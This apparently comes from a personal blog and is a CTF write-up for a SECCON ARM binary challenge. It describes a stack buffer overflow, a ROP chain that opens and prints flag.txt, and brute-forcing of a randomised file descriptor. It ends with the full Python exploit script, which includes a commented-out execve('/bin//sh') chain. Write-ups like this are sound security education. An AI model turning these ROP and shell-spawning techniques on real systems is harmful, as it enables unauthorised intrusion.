A quick reversing tells us this binary simply reads newline terminated input from user and compares it to a password. However, even if we provide a correct password or not, the program simply ends.
but we can see there is a simple stack-based buffer overflow while reading the user input.
so it is an easy ROP challenge.(there is NX)
All I need to do is...
open('flag.txt')
read(3, buf, 100)
write(1, buf, 100)
however, I couldn't run the binary from my local ARMv7 QEMU environment.
it turns out that this binary uses different ABI (ARM EABI, other than UNIX System V), and because of this
I needed a correct ARM kernel to run this binary. this seemed to be picky :(
So I just started to build ROP exploit payload without debugging at all.
I simply analyzed the server response to check if my exploits codes are partially running.
for example, I can ROP to 0x42EC which prints "OK. Read flag.txt" after running some of my ROP codes.
in this way, I can tell if my exploit code caused SEGFAULT or not.
I used two gadgets which allows me to control R0 and R1~R3.
(since, the ABI is different, this binary uses r0 as system call number instead of r7)
we can easily find such gadgets from the binary.
After I build my ROP payload. I confirmed that it doesn't raises SEGFAULT. but
the exploit didn't gave me the flag. and figuring the reason of this was the challenging part :(
It turns out that the file descriptor number from open wasn't 3 at all.
and it was randomly picked from range 3 ~ 255.
I was able to leak the r0 value from open from the error message
because, if we invoke some system call with a wrong number, server gives us
"Invalid System Call Number ??" kind of message.
So, in this way, I could tell the R0 value any time.
anyway, brute-forcing the file descriptor number was easy.
So I got flag by repeating the exploit about 2~30 times.
# full exploit
from socket import *
import sys, os, struct, time, random, urllib, urllib2, string, hashlib
# common stuffs
p = lambda x: struct.pack("<L", x)
pq = lambda x: struct.pack("<Q", x)
ph = lambda x: struct.pack("<H", x)
pb = lambda x: struct.pack("<B", x)
# pwn
#s = socket(AF_INET, SOCK_STREAM)
#s.connect( ('micro.pwn.seccon.jp', 10001) )
payload = ''
FLAG = 0x4355
SETR0 = 0x4174
SETR123 = 0x42b0
SYSCALL = 0x4028
BUF = 0x1ffff000 - 0x28
payload += '/bin//sh\x00RYMUCH123456789DDDD'
'''
# execve("/bin//sh", 0, 0);
payload += p(SETR0)
payload += p(0x0b0b0b0b)
payload += p(SETR123)
payload += p(BUF)
payload += p(0) # O_RDONLY
payload += p(0) # 0000 mask
payload += 'A'*16
payload += p(SYSCALL)
'''
# open(FLAG, 0)
payload += p(SETR0)
payload += p(0x05050505)
payload += p(SETR123)
payload += p(FLAG)
payload += p(0) # O_RDONLY
payload += p(0) # 0000 mask
payload += 'A'*16
payload += p(SYSCALL)
# read(3, BUF, 256)
payload += p(SETR0)
payload += p(0x03030303)
payload += p(SETR123)
payload += p(0x1d)
payload += p(BUF)
payload += p(256)
payload += 'A'*16
payload += p(SYSCALL)
# write(1, BUF, 256)
payload += p(SETR0)
payload += p(0x04040404)
payload += p(SETR123)
payload += p(1)
payload += p(BUF)
payload += p(29)
payload += 'A'*16
payload += p(SYSCALL)
#test
payload += p(SETR123)
payload += p(1)
payload += p(0x4340)
payload += p(0x10)
payload += 'AAAABBBBCCCCDDDD'
payload += p(SETR0)
payload += p(0x04000000)
payload += p(SYSCALL)
print payload
#s.send(payload)
#s.recv(1024)
'Games > CTF' 카테고리의 다른 글
JFF3 BlindFSB (0) | 2015.07.31 |
---|---|
GITS 2014 TI-1337 (0) | 2014.12.22 |
hack.lu callgate writeup (0) | 2014.10.28 |
DEFCON 2014 sftp writeup (0) | 2014.05.23 |
DEFCON 2014 babyfirst heap writeup (0) | 2014.05.22 |